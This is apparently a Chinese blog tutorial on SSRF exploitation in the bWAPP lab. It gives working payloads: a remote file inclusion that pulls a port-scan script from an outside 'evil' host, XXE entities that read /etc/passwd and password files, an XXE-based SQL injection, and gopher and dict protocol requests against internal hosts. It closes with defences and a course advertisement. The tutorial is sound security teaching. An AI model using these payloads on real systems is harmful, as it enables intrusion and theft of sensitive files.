SSRF服务器端请求伪造漏洞之——攻防实战与防范方法

攻防实战与防范方法

bWAPP 中的 SSRF 给出了 3 个小实验来说明 SSRF 的利用场景

任务 1:使用远程文件包含进行端口扫描(内网探测)

点击任务 1 中的 Port scan 可以获得一份端口扫描的攻击脚本
仅需要包含脚本,并请求 IP 参数为对应的主机即可,接下来就是利用 bWAPP 中的远程文件包含漏洞,执行端口扫描的脚本
Choose your bug 中选择 Remote & Local File Inclusion (RFI/LFI)security level 还是选择 low,然后点击 Hack
进入 Remote & Local File Inclusion (RFI/LFI)的实验后,看到有个选择语言的功能模块,直接执行下,观察 Get
请求中的参数,发现是典型文件包含问题,language=lang_en.php
GET 的请求: http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go
使用如下 PAYLOAD,远程包含并执行扫描脚本探测内网主机的端口和服务

POST: http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/evil/ss
rf-1.txt&action=go POST DATA:ip=192.168.163.159
这里 xxx.xxx.xxx (192.168.163.1)是扫描脚本的访问地址,192.168.163.159 是要扫描的目标主 机地址,且该地址是 xxx.xxx.xxx 主机无法访问到的,然后方便查看区分使用 post 请求提交
要进行扫描的目标主机 IP,扫描结束后便返回结果。

任务 2:使用 XXE 获取敏感文件中的内容(文件读取)

先点击任务 2 中的 Access 得到 XXE 的利用脚本:http://xxx.xxx.xxx/bWAPP/xxe-1.php,然访问
XML External Entity Attacks (XXE)演练环境,使用 burpSuite 抓包,并发送到 repeater
中进行测试
测试中涉及的 XXE 知识可以参考 http://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA 这篇文章。
使用 http 协议获取/bWAPP/robots.txt 的内容。

<?xml version="1.0" encoding="utf-8"?> 
 <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "http://localhost/1/bwapp/robots.txt"> ]>
 <reset>  <login>&bWAPP;
 </login> 
  <secret>blah</secret> 
   </reset>

xml版本定义
DTD定义根元素元素类型
读取文件内容
引用取到的内容

php://filter/read=convert.base64-encode/resource=http://192.168.0.67/1/bwapp/passwords/he
roes.xml
使用 php 协议获取/bWAPP/passwords/heroes.xml 中的经过 base64 编码的数据

使用 file 协议获取 bWAPP 本机的/etc/passwd 的内容

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "file://etc/passwd"> ]> <reset> 

<login>&bWAPP;</login>  <secret>blah</secret>  </reset>

适用于文档中包含特殊符号,当xml执行会报错,这里采用php协议编码一下,绕过

任务 3:使用 XXE 进行内网 sql 注入

这个任务对内网站点的 SQL 注入漏洞进行利用。如,192.168.163.150 主机上有注入漏洞那
么可以发送如下 payload 可以使用 SSRF 进行 SQL 漏洞的利用,当然也可以进行 Struts2 等漏
洞的利用

1.<?xml version=1.0″ encoding=”utf-8?>
2.<!DOCTYPE root [
3. <!ENTITY bWAPP SYSTEM 
"http://192.168.163.150/news.php?newsid=-11+union+select+1,user()">
4.]>
5.<reset><login>&bWAPP;</login><secret>blah</secret></reset>

SSRF 知识拓展

以上讲述的是 SSRF 的一般用法,用 http,file,php 协议来进行内网探测,文件读取, 漏洞利用等,接下来讨论的是 SSRF
的拓展知识。回想上面的利用都是发送 GET 的请求进行 利用的。那么请思考下如果内网站点的漏洞在 POST 请求的参数中呢? 又或者漏洞点在
request header 中的某个字段里呢?应该如何构造 SSRF 请求进行利用?

实验靶机搭建

从上面的表格内容可以知道,在 php 中要使用 gopher 协议需要 curl 的支持,当然 curl 还支 持了很多的协议,首先准备好
lamp 的环境,如果 ubuntu 上的 PHP 没有 curl 拓展,需要使 用以下命令进行安装
sudo apt-get install php5-curl
sudo service apache restart 然后编写以下测试代码,用户可控的输入点是$_GET[‘url’]到此就完成实验靶机的搭建了

			1.<?php
2.// 创建一个新 cURL 资源
3.$ch = curl_init();
4.// 设置 URL 和相应的选项
5.curl_setopt($ch, CURLOPT_URL, $_GET['url']);
www.oldboyedu.com
6.curl_setopt($ch, CURLOPT_HEADER, false);
7.// 抓取 URL 并把它传递给浏览器
8.curl_exec($ch);
9.//关闭 cURL 资源,并且释放系统资源
10.curl_close($ch);
11.?>

file 协议的运用

请求 http://192.168.163.150/test.php?url=file:///etc/passwd 便可以获取敏感文件的信息

gopher 协议的运用

在 SSRF 漏洞利用中号称万金油的 gopher 协议
gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏 洞利用中 gopher 可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,这样变可 以解决漏洞点不在 GET 参数的问题了
基本协议格式:
URL:gopher://<host>:<port>/<gopher-path>

进行如下请求可以发送一个 POST 请求,且参数 cmd 的值为 balabal,这里构造 gopher 请求的时候,回车换行符号要进行 2
次 url 编码%250d%250a

http://192.168.0.100/ssrf1.php?url=gopher://192.168.0.105:8080/_POST%20/test.php%20HTTP/
1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%2
50aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%2
50a%250d%250aid=1

此时可以在 192.168.0.105 主机中的 access.log,找到访问日志
当然也可以使用网络数据包分析工具( burp),抓取 TCP 流量中 HTTP 的数据 由于gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色,具体的攻击方式可以参考如下链接:
https://blog.chaitin.cn/gopher-attack-surfaces/

dict 协议应用

dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源, 但是在 SSRF 中如果可以使用 dict
协议那么就可以轻易的获取目标服务器端口上运行的服务 版本等信息
如请求 http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info
可以获取目标主 机的 3306 端口上运行着 mysq-l5.5.55 版本的应用。

	**有关 SSRF 其它扩展知道可参考: http://www.anquan.us/static/drops/web-7550.html**

SSRF 防护方法

1、防护措施

(黑名单)
(1)过滤 10.0.0.0/8 、172.16.0.0/12、192.168.0.0/16、localhost 私有地址、IPv6 地址
(2)过滤 file:///、dict://、gopher://、ftp:// 危险 schema
(3)对返回的内容进行识别
(4)内网服务开启鉴权(Memcached, Redis, Elasticsearch and MongoDB)

2、最佳防护

(1)使用地址白名单
(2)对返回内容进行识别
(3)需要使用互联网资源(比如贴吧使用网络图片)而无法使用白名单的情况:首先禁用CURLOPT_FOLLOWLOCATION;然后通过域名获取目标
ip,并过滤内部 ip;最后识别返回的内容是否与假定内容一致

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
程声明:该课程是教学使用,视频内涉及漏洞利用方法,请勿在互联网环境中使用;维护互联网安全,人人有责。实验所需环境:vmware;kali虚拟机一台;windows server一台;有docker环境的Linux虚拟机环境下载地址在购买课程后单独发送 【课程配套资源】1、Python脚本(Margin老师自研,不光能学漏洞,还能学Python,实在是划算)2、与Margin老师实时互动3、免费的CISP-PTE考试技巧指导(Margin老师与CISP-PTE的负责人很熟的,非常多的一手消息^o^)4、Margin老师的内部直播可以优先参加5、Margin老师的课程基于CISP-PTE的知识体系进一步扩展,使课程内容更贴近实战   【课程主要解决问题】1、CSRF、SSRF搞不清楚?2、SSRF原理是什么?危害大小?如何利用SSRF获取主机权限?如果使用Python提高挖洞效率?3、Gopher协议、Dict协议?完全没听过啊,没关系,看完课程后你门清。4、SSRF渗透Redis数据库,Redis客户端和服务器端怎么通信?通信报文是怎么样的?看这里就行。5、SSRF渗透Struts2总是失败?不知道如何编码?不知道如何使用Gopher协议?来这里。6、SSRF表面简单,实则有无数坑,通过视频提高学习效率吧。 【CISP-PTE介绍】1、CISP-PTE是进入网络安全行业的TOP1认证,能帮你梳理完整的网络安全知识体系2、有PTE证书在网络安全公司是免技术笔试的,怎么样?是不是很棒。3、Margin老师的课程基于CISP-PTE的知识体系进一步扩展,使课程内容更贴近实战本课程属于CISP-PTE渗透测试工程师认证体系的课程,但内容更加丰富。CISP-PTE是国内第一个以动手实操为主的网络安全认证,该注册考试是为了锻炼考生世界解决网络安全问题的能力,持续增强我国的网络安全水平和防御能力,促进国内网络防御能力的不断提高。考试内容从多个层面进行,考点和网络安全动态相结合,真实的反应出真实的网络环境中发现的各种问题。如果要考取CISP-PTE证书需要掌握以下内容:1、Web安全基础,注入漏洞、上传漏洞、跨站脚本漏洞、访问控制漏洞、会话管理漏洞哦等。2、中间件的安全知识,如:Apache,IIS,Tomcat,以及 JAVA 开发的中间件 Weblogic,Jboss, Websphere 等,且要了解中间件加固方法,在攻与防的能力上不断提升。3、操作系统安全,包含Windows和Linux操作系统,从账户管理、文件系统权限、日志审计等方面讲解,了解常见的漏洞方式和加固方法。4、数据库安全,包含MSSQL、MYSQL、ORACLE、REDIS数据,了解常用的数据库漏洞和题全方法,保证数据库的安全性。 【关于Margin老师】· Margin/教育系统网络安全保障人员认证首批讲师/高级讲师· 擅长CTF/Web安全/渗透测试 /系统安全· 3年研发/擅长Java/Python/某银行现金循环机业务系统开发者· 曾参与开发网络安全认证教材· 知乎专栏/CISP-PTE渗透测试工程师学习· 4年线下网络安全讲师/2000+线下学员/100000+线上学员
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值